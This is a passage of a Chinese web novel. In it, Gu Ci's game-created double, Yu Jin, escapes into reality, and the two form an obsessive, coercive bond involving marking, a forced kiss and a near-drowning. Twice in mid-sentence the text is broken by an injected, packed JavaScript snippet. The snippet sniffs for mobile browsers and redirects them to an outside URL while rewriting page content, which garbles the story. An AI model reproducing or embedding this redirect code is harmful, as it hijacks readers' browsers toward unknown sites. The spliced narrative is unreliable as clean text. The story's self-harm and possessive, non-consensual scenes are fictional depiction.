难不成,他错怪余烬了…… 顾瓷眉眼微敛,目光落在设定记录第一页末尾那行文字上。 在密密麻麻的初始基因数据设定后面,他曾对余烬说过的第一句话是,“我叫顾瓷,你的创造者。” 或许余烬对他真的有绝对的忠诚,顾瓷心情复杂,他想了想,在设定面板上写下,“我会给你补偿,也不会再控制你。” 就让这场梦,到此为止吧。 从此以后,余烬就是余烬,不再是他顾瓷用来自我疗伤的复刻品。 顾瓷给余烬设定了美好的爱人和家庭,在末尾写下余烬一生顺遂的祝福,关上了游戏。 坐在餐桌上的顾瓷捧着一碗晶莹剔透的冰鱼羹小口小口地喝着,顾雾航将餐盘中的炭炙兔排切割成小块后推到顾辞面前。 “小瓷,哥哥需要出去一趟,我会安排凡巩副官在家守着你。”顾雾航斟酌了下词句,开口说,“你别害怕,我很快回来。” 顾瓷放下手中的冰鱼羹,低着头,神色没什么变化:“哥,陆家还在施压对吗?把我交出去吧,一个手术而已,我也不一定会死。” 顾雾航握了握拳头,神色心疼:“说什么傻话。” 顾瓷抬眼看他:“公然对抗联邦的律法,你会被革职,那时你又拿什么保我呢,难道要离开联邦带我逃亡,转投帝国或者做星盗?” 顾雾航不敢告诉顾瓷,顾瓷说的这些他全都认真考虑过。 顾瓷见顾雾航不说话,心中明了:“哥,你向陆家提出联姻吧,把我做个人情送给陆煜,陆家便不会再难为你,还会上赶着保我这个陆家孙媳妇儿在改造手术中活下来。” 那天之前陆煜或许是想他死,但在被他挑明心思之后,陆煜不管出于爱欲还是折辱,肯定都更想要他做他的Omega。 顾雾航听得火气直冒,但他看到顾瓷眼底疯狂燃烧地狠戾时,惊在了那里,他放软语气去哄顾瓷:“小瓷,我不会做这种事,我不可能让你受这份委屈。” “哥,我认真的。”顾瓷冲顾雾航安抚地笑了笑,“不就是变成Omega吗,我没那么脆弱,我不想成为毫无价值的累赘。” “小瓷不是累赘。”顾雾航看着顾瓷的笑只觉得心脏抽疼,“我向来什么事都依你,但这事儿不成。” 顾瓷坚持地说:“哥……” 顾雾航打断了顾瓷:“小瓷,我知道你在想什么,你不想让我为了保你赔上一切,包括那天你没有将抵在陆煜腺体上的催化激素注射进去,也是不想我因此遭到陆家报复。” 他看着顾瓷眼中掩在平静之下的郁戾,接着说:“虽然不知道你具体要怎么做,但你提出联姻一定是想利用陆家以及报复陆煜……这是我第一次见你恨一个人。” 顾瓷沉默地敛下目光,他们两人的心思在彼此面前都是瞒不住的。 “小瓷,你的计划,我不许。”顾雾航在顾瓷手腕上套上一个银白色金属手环,神色严肃,“你给我乖乖待在家里,如果你离开顾家或者有人闯进来我都会第一时间知道。” 顾瓷想摘下那个手环,尝试着用撒娇的语气说:“哥,我不是小孩子了。” “别试了,只有我能取下来。”顾雾航不为所动,“除了我和你自己,任何人触碰到你时都会被手环的强电压攻击。” “我会让带回来的军队守好顾宅,所有的事我来处理。”顾雾航揉了揉顾瓷的头,“包括陆煜,我也会让他付出代价。” …… 眼前这个金发女医生正面色微红着为他检查手腕上的伤,余烬心脏悸动地狂跳着,一瞬间所有的感官都叫嚣着支配着告诉余烬他爱眼前这个人。 他灵魂被压制的那段时间,“余烬”参加了大大小小的战役,成为了联邦无往不胜的战神,有不少人倾慕于他这位英雄。这位军事基地最优秀的女医生也是他的倾慕者之一,救治了负伤的他很多次。 余烬的灵魂重新掌控他的身体后,就感受到了他对这位命定之女的心动。 但余烬的灵魂几乎快要在难过中溺亡。 多残忍啊,他的神明不需要他了,然后将他推给了别人,让他去爱别人。 不是说好不再控制我了吗……无法控制自己生理上生出悸动的余烬闭了闭眼睛,他从没有哪一次如此厌恶命运的支配。 顺服的本能让余烬压下厌恶,面上对着正关心他的漂亮医生笑了笑:“有戴丽安在,伤口都不疼了。” 戴丽安脸瞬间红透了,她怦然心动地冲着余烬表白。 余烬看着戴丽安那张明丽可人的脸上泛起的薄红,情窦初生的感觉在他心中炸裂开来,他生出了亲吻那张诱人红唇的冲动。 余烬用精神力在自己的意志体上切割一道又一道的口子,才勉强按捺住冲动,他低头吻在了戴丽安额间。 这是他第一次和命运的支配较量。 看到戴丽安如同受惊的小鹿被这一吻惊得晕头转向,余烬强撑着温柔地笑了笑,叫她先出去。 躺在床上的余烬灵魂痛苦地挣扎着,他自虐地抠开手腕上刚结痂的伤口,妄图用疼痛缓解令他窒息的难过。 他不想爱上别人,一点都不想。 他的神明想让他结婚生子,想让他有个美好的人生……长久以来顺服的本能让余烬觉得自己应该遵循神明的意愿,哪怕是演也要演好设定的角色。 可他极端厌恶这样的命运,他只知道创造他的神明不要他了,丧失自我认同感的余烬几乎找不到自己存在的价值。 他连灵魂都被撕扯分裂成两半。 余烬带着痛苦在命运的支配下和戴丽安交往,他在花海中拥抱住神明补偿给他的这份礼物,深情的目光却穿透戴丽安思忆着他再未出现过的神明。 余烬有时候会胆大包天地想,要是被他紧紧抱在怀里的……是那位。 陷入爱河的戴丽安将头埋在余烬怀里,但她却听到拥抱住她的英雄轻声说:“游戏的故事有了结局,他应该会很开心吧。” “所以,他为什么再也没有回来看我一眼呢?”余烬轻轻揉了揉戴丽安柔软的金发,他平静的言语下压抑着沉重的痛苦,“我明明已经这么听话了。” 被神明构造的拥有结局的世界没有新文字的延续也能运转下去,但感知不到神明的余烬不敢朝这个世界的未来再走一步,他害怕和神明的联系越来越淡薄。 余烬不想和戴丽安结婚,他终究还是选择背叛束缚他的命运和设定。 余烬站在那朵当初妄图赠予神明的小花面前,他伸手撩拨着小花脆弱将凋的花瓣:“连你也觉得这个世界快要死掉了吗?” 世界不会死,但余烬的世界已近枯竭。 “小花,我们去找他好不好,我们是他的所属品,他怎么能说不要就不要呢。”余烬滚烫的眼泪滴在了摇摇欲坠的花瓣上。 余烬捧起那盆小花,他悲泣的灵魂被绝望和难过淹没,他想见一见他,好想见一见。 就算因此被击杀掉也没关系,与其走向疯魔的自我毁灭,被抛弃的废置品想能亲眼看到一次创造他的神明再死去。 强烈的欲望和信念让余烬恐怖的精神力到达这个世界的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888619|176470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临界点,那把泛着镭彩光泽的金属长剑再一次出现。 再次站在星际遗迹的墟土中,余烬倾注所有力量持剑向天穹竭力劈去,天空划裂出一道冰蓝色的数据流,时空紧跟着扭曲塌变。 余烬踏入混乱无序的时空裂缝,拖着濒临崩溃的身体在时空乱流中穿梭流浪,他在想,神明的世界会是怎样的…… 顾瓷习惯性地在这间游戏房里发呆,他看到突然出现的余烬,惊疑地扫了一眼他并没有打开的游戏开关。 余烬终于找到了这里,他看到轮椅上的顾瓷那一瞬,微怔着轻喃:“原来您是用自己的形象创造了我。” 余烬这句话像是看到了他一样……顾瓷目光微缩,他不太敢置信,抱着求证的念头摁下了游戏开关。游戏中的视角一直以余烬为主角,但这次全息投影只映射出一片黑压压的星际废墟,全然不见余烬的身影。 “你……”还没有从虚拟角色闯进现实的震撼中缓过神来,顾瓷看着目光仇恨一步步向自己走过来的余烬,生出了恐慌的情绪。 他明明最后给了余烬一个好的结局,为什么余烬会有这么浓烈的恨意。 轮椅一点点向后退去,顾瓷被余烬逼到了墙边。 顾瓷知道余烬有多强大恐怖,他看着这张和他一模一样的脸,如果放任心怀恨意的余烬出现在现实里,一定会造成不可控的危险,尤其是对毫无防备的顾雾航。 余烬的身影笼罩了他,顾瓷抬眼对上余烬的目光,他神经紧绷着,想找机会删掉游戏中余烬的所有数据,游戏中设定数据被毁的虚拟角色会被消抹。 余烬感受到了顾瓷的恐慌和戒备,但他没办法,他敛不住心中扭曲的恨意,他好想质问他的神明——为什么,为什么不要他了? 余烬深吸一口气,想让自己尽可能看起来不那么可怕,他将花盆放在顾瓷手中:“想送给您的小花,快死掉了。” ……他也快死掉了,灵魂沉痛的难过让他几乎凋亡。 手中花盆真实的触感让顾瓷呼吸微窒,就算事实就在眼前,还是让人很难相信这荒谬的一幕啊。 余烬半跪下来,让自己和坐在轮椅上的顾瓷一样高,他目光中压抑着浓重的暗色,冒犯又克制地询问:“我可以抱一下您吗?” 顾瓷抿了抿唇,他不明白一身戾气的余烬询问的原因,他并没有反抗的权利,别说抱他,就算杀了他也不过余烬一念之间的事。 余烬权当顾瓷默认了,他僭越地倾身抱住顾瓷,闭上眼睛。 余烬曾无数次幻想过他神明的样子,强大高贵、圣洁悲悯……他从未想过他的神明身躯如此脆弱,能被他一只手就搂在怀里。 巨大的满足感让余烬平复了些戾气,那样沉重的难过好像轻易地就被安抚,他此刻只想永远保护他的神明。 被余烬拥抱住的顾瓷居然并没有感受到受人钳制的不适,但顾瓷目光闪烁了一瞬,毫不犹豫地趁机按下了光屏游戏面板上的删档键。 以余烬的反应能力完全能够阻止顾瓷的动作,但余烬意识到他的神明想抹杀他时,只是心口像被钝刀割裂般疼痛。 余烬轻轻松开顾瓷,平静地和他一起看着那一字一句的设定一行行消失。 余烬的身影虚化消散前,他眼中含着深沉到化不开的灼热爱意,余烬动作虔诚地捧起顾瓷的脸,低头强吻上顾瓷的唇。 在顾瓷无力地抗拒中,余烬撬开了他的唇齿,一点点吮吸品尝着顾瓷的味道,他像是疯魔的狂信徒般妄图亵渎占有他的神明。 余烬语气悲伤而偏执:“我的神明,我是完完全全属于您的啊,您也该属于我,这样才公平,不是吗?” 在余烬解开顾瓷第二颗衣扣时,他的身影变成数据流萦绕的光点后彻底虚化散去。 但他最后一刻的眼神,含着让顾瓷心脏狂跳的病态痴恋。 5. 以身饲狼 这场匪夷所思的惊吓让顾瓷毛骨悚然,他大口大口喘息着捂住剧烈疼痛的心脏,疼痛平息之后,又是强烈的失落感。 为什么,心口会有空落落的感觉? 顾瓷睫羽微颤,看着手中的小花出神,它生长于星际遗迹的墟土,却浴血、向死而生。 顾瓷像是透过这朵将凋的花看到曾在那片战场上驰骋的余烬。 他突然感觉,心中的那份遗憾更重了。 余烬是他曾经一字一句倾注心血创造出来的完美另我啊,刚才余烬站在顾瓷面前的第一个瞬间,比起害怕,他更多的是震撼和激动。 理性上他很难相信,但他内心其实渴望余烬能真的出现在现实里。 感觉心口缺了一块……是后悔吗? 从此之后,这世上再不会有余烬的痕迹,他的这场长梦被彻底抹去了。 全息影像什么也没投射出来,靠设定构建的游戏世界完全消抹掉了,一切回退到初始的纯白,顾瓷顿了很久,伸手注销了游戏。 顾瓷捧着手中的花盆去了客厅,凡巩正坐在沙发上一脸正色地处理手中军务,看到顾瓷出来时,恭敬地喊了声:“顾二少。” 顾瓷将手中的花盆递向凡巩:“凡副官会养花吗?” 凡巩明显愁了下:“这……不太会。” 顾瓷低下头,他轻轻碰了碰花瓣,语气失落:“我不想它死掉。” 那样神色的顾瓷让凡巩慌了一瞬,他连忙接过花盆语气郑重地说:“我一定帮顾二少养好它。” “谢谢,找个花匠来吧。”顾瓷知道军队里的没几个会养花,不然余烬也不至于把墟土中都能生长的花养成这种蔫巴的样子。 顾瓷道了谢,然后转而问:“哥哥这两天在外边怎么样?陆家……” “少将他不让我们告诉你。”年轻的副宫俊朗的脸上露出难色,“你放心,少将有分寸的。” 顾雾航手下的人嘴严得很,顾瓷知道自己问不出来什么,他只是越来越不安。 陆家不是什么好应付的角色,那天顾雾航打了陆煜,陆家一定会讨这笔帐。 顾瓷揣着心思压抑地过了两天,顾雾航有意不让他知道外面发生的事,之前连他的终端通迅器也收走了。 “哥……我不想做永远被保护的那个啊,我也想手持枪械,亲手击杀憎恶的仇敌。”顾瓷自言自语地低喃。 顾瓷直视镜子里的自己,他脸上绷出和余烬一样的冷峻神色,然后伸手碰了碰镜子。 顾瓷恍惚了一瞬。 浴缸里的水已经放满了,解开衣服的顾瓷支着身子从轮椅上起来,翻身将自己浸没在温热的水中。 水应该再凉些的,好让自己的心神再清醒一些,顾瓷想着,闭目泡在浴缸中。 顾瓷没有看到浴室的镜子中再次映出了那张和他一模一样神情冷峻些的脸。 顾瓷的双腿受不住力,他任由自己身子下滑,整个人淹埋在了水中。 生理上的窒息感和幼时溺窒泥潭的恐惧记忆让顾瓷神经麻痹了片刻,他不挣扎不呼救,像是想放纵自己在痛苦中死去。 片刻后,一双有力的胳膊圈住顾瓷将他捞起。 水滴顺着顾瓷的头发一滴滴滑过脸颊,他睁开沾湿后更显纤长的睫羽,泛白的面色脆弱诱人。 顾瓷回抱住身前的人,唇角勾了勾:“终于舍得出现了?” 余烬僵了僵,他此刻半个身子挤在狭窄的浴缸中,顾瓷被他抱住腰肢覆在了身下。这个身位太冒犯了些,他不敢去看顾瓷,低下头将顾瓷轻轻翻过来搂在怀里。 余烬呼吸有些乱:“您不怕我了吗?” “怕。”背对着余烬的顾瓷看不到余烬的神色,但他语气平静,“你要杀了我吗?” 早在顾瓷看到那株从虚拟世界带出来的花还存在时,就知道余烬没有被抹杀掉,他已经强大到脱离了游戏,只能限制虚拟的数据毁灭对他构成不了伤害。 反应过来的顾瓷一直在思考对策,但余烬迟迟没有再次出现,顾瓷只能想办法引他现身。 余烬搂住顾瓷的手松开了些,他情绪低落地回答:“我怎么会杀您,您是创造了我的神明啊,那些构造了我的设定不是我的全部,您才是。” 顾瓷目光闪烁地读取到重要信息:“我是你能存在在现实的唯一联系,我死了你也会消失吗?” 余烬的回答却和顾瓷的推测有差异:“您若死去,我也就没有存在的价值了,我会追随您而去,只希望您不要厌弃我做陪葬品。” 顾瓷微怔,这句话代表余烬的死亡并不受他影响,他没办法以此牵制余烬,但这句话又同时昭明了余烬对他的绝对忠诚。 “可那天,我在你身上感受到了强烈的恨意。”顾瓷身子微微绷紧,他回想起那副模样的余烬还是有些恐慌。 “在见到您之前确实是恨意刻骨。”余烬语气委屈,“因为您不要我了。” 顾瓷哑然,半晌之后说:“我补偿你了,戴丽安……” 顾瓷话微顿,他察觉到余烬像是受到了刺激,气息突然变得失控起来。 余烬怕心生戾气的自己弄疼顾瓷,他松开抱住顾瓷的手,语气在极力克制些什么:“您真的、太残忍了。” 顾瓷沉默地看了眼被余烬生生捏碎的浴缸边角,他之前对余烬确实不好,包括现在想着的也是怎样才能控制余烬。 “戴丽安已经在您删档的那刻随着虚拟数据消失了。”余烬闷声说,他浑身上下都散发着沉重的难过。 顾瓷目光微沉,他给了余烬爱人又抹杀了他的爱人,确实残忍,但余烬的恨意并不来源于此。 余烬还是没克制住地圈住了顾瓷的腰,一点一点搂紧:“您说戴丽安是我命定的救赎和补偿,但我不想接受,我也不想爱上别人。” 被余烬紧紧圈在怀里的顾瓷难受不安地挣扎了下,却被箍得更紧,他皱了皱眉。 “补偿这种事情,还是您亲自来比较有诚意。”余烬深沉的目光中暗色翻涌,他好想将怀里的人彻底揉入他的骨血。 余烬渗人的语气像是要将他生吞活剥般吃掉,但顾瓷紧绷的身子反倒彻底放松下来。只要余烬有所求,便再好不过。 顾瓷被勒得微微喘息,他联想起余烬前日那一吻,脸上看不出情绪地笑了笑:“要我亲自补偿你?余烬,你想要我的爱?可你不过是我随手创造的一个复刻品,向我索求爱意前得先证明你的价值。” 余烬愣在了那里,像是陷在了如何证明价值的纠结里。 “松开些,你弄疼我了。”顾瓷仰在余烬怀里,将身体的力量全都压在余烬身上。 余烬慌乱地放松了手上的力道,顾瓷翻过身正对着余烬,他伸出纤白滴水的玉臂搭上余烬的脖子,一副命令地口吻:“低头。” 余烬低下头,看着那张和自己一模一样却更显艷丽脆弱的脸,他眼中阴戾的欲念和赤诚的虔敬交织纠缠,呼吸微重。 顾瓷抚上了余烬后颈处微微凸起的腺体,即使再强大的存在,腺体也是致命的弱点,但余烬没有因为命门受拿捏而害怕,反倒像是被挑逗撩拨而激动。 顾瓷另一只手扣住余烬的头轻轻下压,然后在余烬疑惑不解的眼神中仰头吻了上去。 余烬浑身僵硬了片刻,下一瞬,极度浓烈寒冷的冬雪信息素紧紧包裹住了顾瓷,余烬由被动转为主动,贪婪而疯狂地在顾瓷唇齿间掠夺。 顾瓷苍白的脸上泛起一层薄红,身上却冷得发抖,受不住的他用力挠了挠余烬的腺体,被疼痛刺激得清醒些的余烬这才放过了顾 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“我又冒犯了您。”余烬低着头。 “前天冒犯时不是胆子挺大吗?”顾瓷俯身,挑起余烬的脸对上他的眼睛,“余烬,我不希望在你身上看到一星半点的卑微。” 顾瓷掐住余烬的下巴,居高临下地端详着余烬的神色:“虽然饲养一头狼更危险些,但我实在对养狗没有兴趣。” 余烬目光闪烁,他的狼性让他想将眼前的人扑食,他想叼住那白皙脆弱的颈脖,用利齿在致命的咽喉处反复咬舐,直到眼前的人恐惧地向他求饶和雌伏。 但刻在骨子里的顺从本能,让他将这样不理智的冲动拴住。 顾瓷看到余烬的欲望写在了脸上,反倒笑了起来。 忠诚的爱意确实是最好的控制手段,但余烬能悖逆自身的设定和命运,他身上带着湮不灭的狼性,如果顾瓷相信余烬的绝对忠诚,就等同将自己置身在一个毫无防备的危险境地。 索性顾瓷直接驭使余烬对他的欲望,喂饱了的忠诚才更可靠。 顾瓷在余烬露骨的目光下,解开领口的衣扣,他揉了揉颈脖,然后俯身凑近到余烬面前说:“咬吧。” 那一瞬间余烬几乎拴不住自己的理智。 “自己抱住我咬吧,咬破我的腺体注入你的信息素,让我浑身充斥着你的气息。”俯身有些累,床边的顾瓷往后挪了些,露出一副予取予求的姿态,“虽然我们本来就是一样的味道。” 余烬眼中暗色翻涌,他扑上去抱住顾瓷,像是占有自己渴望得到的珍宝,粗暴地咬破顾瓷的腺体,听到顾瓷的痛哼时,他心脏颤了一下,紧跟着浓烈的信息素注进了顾瓷的身体。 顾瓷身体发抖,Alpha彼此之间只能假性标记,承受和占有都没有任何欢愉感,但他还是感受到了余烬的兴奋,余烬身体很热,顾瓷为了驱散身上的寒意紧紧抱住了余烬。 被顾瓷抱紧的余烬更加疯狂更加肆意,直到他确定顾瓷骨血间都融入了自己的气息才松开来。 顾瓷微微喘息着像是要虚脱般,当他抬眼对上余烬眼中越发汹涌深沉的欲望时,心脏一跳,连忙安抚:“你要学会满足,我最多只能给你到这种程度。” 顾瓷看着余烬隐忍的模样,长叹一口气平复呼吸:“不是我不愿意,再多些我……会碎掉的。” 余烬的心口被巨大的满足感和更汹涌的欲望充斥着,他矛盾地沉默着。 顾瓷目光微敛,平复下来的他理了理领口将后颈的咬痕遮住,直切主题:“报酬已经先支付了,你想要我的爱意或者身体我都可以给你,但我要你像从前那样绝对臣服于我,受我控制和支配。” 6. 替代品 “我本来就是您的。”余烬低垂着头,似乎不能理解顾瓷的做法。 “余烬。”顾瓷挑起余烬的脸,强迫习惯性低头的余烬与自己对视,“你不是知道我的姓名吗?为什么从来不叫我的名字。” 余烬敛不住汹涌情绪的目光一时有些不知所措:“我怎么敢妄称神明的名字。” 那双深邃的眼睛中纯粹炽热的爱意让顾瓷的心脏再次被灼烫了一瞬,片刻后顾瓷轻笑了起来:“所以你是我的信徒吗?” 余烬沦陷在顾瓷的笑颜里,他不假思索地说:“不是,我是您的造物,是您的器皿,是您的利剑,是您的所属品,您可以随意使用和支配我。” 指腹在这张和他一模一样的脸上轻轻磨挲,顾瓷顿了顿:“就不能是个人吗?” “如果您希望的话。”余烬压下那抚摸传来的灵魂欢愉的颤栗感,他语气虔诚。 很久之后,顾瓷捧起余烬的脸,神色平静而认真地说:“那做人吧,余烬,我想要你成为顾瓷。” 余烬不太能明白顾瓷话中的意思,他尝试着解读:“您是需要我做您的替身吗?” “不是替身,余烬,我把我的名字给你,我需要你代替我去成就顾瓷的人生。”顾瓷紧紧抱住这具让他爱不释手的身体,“我不再是你的神明,你也不再只是物品,从此刻起,你就是顾瓷。” 余烬身子僵了僵,愣在那里:“我怎么敢成为……” 顾瓷圈在余烬背后的手突然扣住了余烬的后颈,他语气冰冷:“不许忤逆我的命令,如果你没有我所需要的价值,我就不要你了。” “我会永远遵循您的意念。”余烬像是被这句话重伤,他艰难地开口。 “你最好听话些,余烬,我能创造出一个你,自然就能再造出千千万万个你。”顾瓷语气威胁地说,但他睫羽微微垂敛…… 不会了,顾瓷知道自己再也造不出第二个余烬,余烬是唯一一个拥有自我灵魂还有能力进入现实的完美造物,他是独一无二的。 他随时可以被替代和舍去……余烬的灵魂像是被顾瓷这句话伤得千疮百孔,他压下眼中疯涌的暗色,神色虔敬地问:“您想让我怎么做?” “用你的精神力封锁我所在的房间,不允许任何人进出或窥探。”顾瓷目光沉凝,“你是顾瓷了,就不能让任何人发现多余的我。” 余烬沉默着照做,强大的精神力瞬间笼罩了整个房间,这种将神明私藏的悖逆感让他的心脏压不住地悸动,他内里的黑暗被滋养又被强行消抹。 “再张扬些。”顾瓷感受着这股和他气息一样却格外强烈的力量,“用实质化的精神力将这里彻底封住,让外面所有的人都能感受到‘顾瓷’的强大。” 歇守在客厅的凡巩迅速察觉到房间里“顾瓷”突然爆发的异常精神力,他忧心地敲了敲房门:“顾二少,你还好吗?” 凡巩知道顾瓷是顶尖的S级精神力者,但他此刻感受到的恐怖力量已远不止S级的范畴了,这像是……二次分化。 房间里半晌没有反应,门也拧不开,凡巩正思索着要不要强行破门而入时,却看到顾瓷打开房门走了出来。 凡巩惊诧又激动地打量着重新站立起来的顾瓷:“你……” 余烬关好门,神色平静地开口:“凡副官,如你所见,我在二次分化中精神力进阶并自动修复了身体的创伤。可以麻烦给个通迅器让我联系一下顾少将吗?” 凡巩缓了半天才接受了这个爆炸的信息,他取下自己的通迅器递给余烬:“少将一定很高兴知道这个消息。” 余烬道了声谢,转身回了房间,他像完成任务领赏一样将通讯器交给顾瓷。 “凡副官没有认出来对不对?”顾瓷没有接过通讯器,他看向余烬,笑着说,“你说哥哥会不会认出来呢?” 余烬顿了一下,用凡巩的通信器给顾雾航拨出视频通迅申请。 以为是顾瓷那边出了什么状况,顾雾航接得很快,但他看到视频中的顾瓷时,眉头微不可觉得皱了一下:“小瓷……?” 余烬抿了抿唇,干巴巴地叫了声顾少将,将告诉凡巩的话再说了一遍,然后提出让顾雾航回家一趟。 缩在视角盲区的顾瓷看着顾雾航面色凝重地应下,他脸上笑意渐浅:“余烬,你的破绽实在太多了。” 陷在没有做好的自我苛责中,余烬身子紧绷着想要请罚,却听见顾瓷说:“没关系,我不需要你成为模仿我的影子,我本来也是要顾瓷成为像‘余烬’一样的顾瓷。” 顾瓷目光落在手腕那个银白手环上:“这手环你能在不损坏的情况下取下来戴到你手上吗?不然哥一回来就会发现了。” 余烬看着那个严丝合缝的银白手环,摇了摇头:“能取下来,但是手环会直接坏掉。” “那就不瞒他了吧。”顾瓷像是陷入了沉思,他深吸一口气说,“余烬,我要你向我起誓,永远不会伤害我哥顾雾航。” 余烬跪在地上向他的神明发誓,而后他听到顾瓷语气遗憾而复杂地说:“余烬,保护顾雾航是‘顾瓷’长久以来的心愿。” 余烬抬头看向他的神明,一如他曾经无数次的宣誓:“身为余烬的我会完成神明的心愿,身为‘顾瓷’的我会满足自我的心愿——我会保护顾雾航,我以灵魂起誓。” 把自身的心愿加在希望载体上的顾瓷怔了怔,余烬这句话全然地取悦到了他,一瞬间顾瓷的心脏好像被一种玄妙的感觉包裹着,涌现一种难言的欢愉。 顾瓷呼吸微窒,他唇角勾了勾:“余烬,我好喜欢你啊,怎么办……” 在顾瓷说喜欢他的一瞬间,余烬大脑被强烈的情绪冲击到只剩下一片空白,但蓦然爆发着充斥了整个房间的冬雪信息素暴露了他此时难以遏制的喜悦。 “对了,前天为什么要装作被我抹杀掉了的样子?”顾瓷看着被他一句话就撩拨到情绪的余烬,眸光闪动地说,“我还为此难过了好一会儿,骗我很好玩?” “我以为您不想看见我,那时我身体和精神的状态都很差,我害怕会伤害到您,就把快失控的自己藏起来了。”余烬低声说。 原来他的神明会因为他的消失而难过,一瞬间余烬心中压抑的阴霾都被驱散了。 “你现在身体和精神状态怎么样?”顾瓷突然问道,他担心余烬撕裂时空会不会受到什么不可逆的伤害。 “已经恢复好了。”察觉到顾瓷的关心,余烬低下头回答。 顾瓷沉默,一时也分辨不出余烬有没有逞强扯谎,他转而说:“怕会伤到我,所以你那时是真的有杀我的打算?” “不是的,我从来没有想杀您。”余烬极力想解释,但他那个时候想做的事确实让他难以启齿。 “那就是想做些其他过分的事情了。”顾瓷了然,他目光微敛,轻拽着余烬的衣领往他面前扯,“强吻我,还解我衣服……贼心不小啊。” 余烬脸色有些泛红,他顺从地靠了过来,被顾瓷一把抱住后,他身子僵硬着像个任顾瓷支配的人偶。 “没有不想看见你,不用怕伤到我,你不用把自己藏起来。”顾瓷一句一句回答,“我很喜欢你,你只要听话些,想对我做什么我都许了。” 原本情绪被喜悦支配着的余烬,在听到顾瓷后两句话时,突然心口一疼,他感觉他的神明好像只是在把自身当作筹码。 “但你想做那些事情的话,等我身体养好些吧,现在真的承受不起。”顾瓷神色平静地说着,倒没察觉到余烬的情绪变化。 余烬听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888621|176470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂顾瓷说的“那些事”是什么,他被黑暗扭曲的欲望支配时,也完全不敢想那种程度的冒犯,但他看到顾瓷将这种事这么随便的许诺,突然有一种难言的难过。 余烬薄唇微抿,手掌一点点攥紧,他提了一个僭越的问题:“是不是今天站在您面前可供你绝对操控的是别的人,您也会这样表达对他的喜欢,然后对他予取予求。” 顾瓷抬眼对上余烬危险而克制的目光,蹙了蹙眉,余烬的情绪好像很难以把控。 顾瓷目光闪烁,安抚地说:“余烬,我想我很难像喜欢你一样喜欢其他人,我对别人做不到这种程度。” 余烬难过的声音隐忍到发颤:“神明也会骗人啊。” 顾瓷默了默,松开余烬往后挪了些,他干脆地说:“确实谁都可以,现在的我心里病态到连陆煜都可以委身,连omega的改造手术都可以接受,这种事我还有什么可在意的。” 顾瓷平静清冷的语气下压抑着难言的怨怼和悲哀。 “陆煜是谁?”余烬控制不住心中疯长的戾气,恐怖的精神力笼罩在顾瓷身上,让顾瓷被压制得动弹不得。 顾瓷目光渐冷,懒得解释,他需要正视起余烬的危险性,他似乎没有完全操纵余烬的把握。 “是某个可以取代我的人吗?”余烬被顾瓷先前纵容得欲望滋长,他碰了碰顾瓷带着咬痕的腺体,语气难过地说,“信息素的气息散得好快。” 被余烬一口叼住后颈的顾瓷痛哼出声,身体再次被浓烈的信息素灌满,顾瓷身子受不住地发着颤,他神色恹恹却还是一幅任人取索的姿态。 余烬心口一窒,松开压制,他希望顾瓷能有些反应,哪怕是抗拒他也好。 余烬的言语有意刺激顾瓷:“既然谁都可以,那还算什么报酬,我不想做‘顾瓷’了。” 顾瓷终于有了反应,他看向余烬,神色冷淡地皱了皱眉:“你确定吗?” 这句话问得余烬几乎血液凝滞,他感觉顾瓷好像在这一瞬间离他特别疏远,冷漠陌生得让他说不出话来。 “那滚吧。”顾瓷盯着余烬冷峻紧绷着的脸,半晌的沉默后,讽笑着说,“还以为你的出现,会让我鱼死网破的困境拥有更优解。” “你的存在本来就是我一场不切实际的幻想,我不该在你身上抱有希望。”顾瓷推开余烬,他闭了闭眼晴,试图说服自己,“给你标记,或者给陆煜标记,反正也没什么不同。” 但余烬感受到了——掩藏在顾瓷这副尖锐冰冷的表象下截然不同的脆弱难过。 余烬好像又像游戏里时能够感知到顾瓷的情绪了,他慌乱地抱着顾瓷疯狂道歉:“对不起对不起,我不该说气话,我会听话的……您别生气、您别难过。” 顾瓷神色倦怠:“松开。” 余烬不肯放,他总觉得现在松开手顾瓷就不会要他了。 “余烬,你所表露出的忠诚很难让我有安全感。”顾瓷皱着眉想要挣开,“我在游戏里说过不再控制你,如果你不想受我支配,现在离开就好,我没有心力再应付你这个变数。” “您又不要我了吗?”余烬神色中的难过几乎快溢出来,他将顾瓷紧紧圈在怀里,像只求宠又闹着脾气的大狗,“您、您不可以不要我!” 顾瓷心情没由来地烦躁,他嘴里冰冷地吐出四个字:“爱滚不滚。” 眼中委屈阴暗的情绪涌现,余烬失智般覆身将顾瓷在床上扑倒。他伸手轻轻托住了顾瓷碰撞床面的后脑,但顾瓷心脏还是因这剧烈动作蓦地紧缩,面色痛苦。 顾瓷咬了咬牙,余烬现在变得逾矩了很多,他不知道是他先前太过纵容,还是余烬的本来面目就是这副样子。 顾瓷面上露出愠色,气息不稳地说:“从我身上下去。” 7. 人形杀器 日暮时,顾雾航在这个风口浪尖的节骨眼上赶回了顾家。但他没见到顾瓷人,卧室的门也打不开。 顾雾航察觉到整个卧室都被‘顾瓷’的精神力封锁了,顾瓷像是将自己困在了一个自我封闭的牢笼里。 凡巩也神色担忧:“二少的情绪好像不太对劲,他这几天离开卧室的次数屈指可数。” “二次分化只有精神濒临崩溃、在鬼门关走过一趟才可能出现。”顾雾航又生气又心疼地咬着牙,抬脚就要踹门,“他这两天小脑袋瓜里想了些什么,把自己逼到这种程度。” 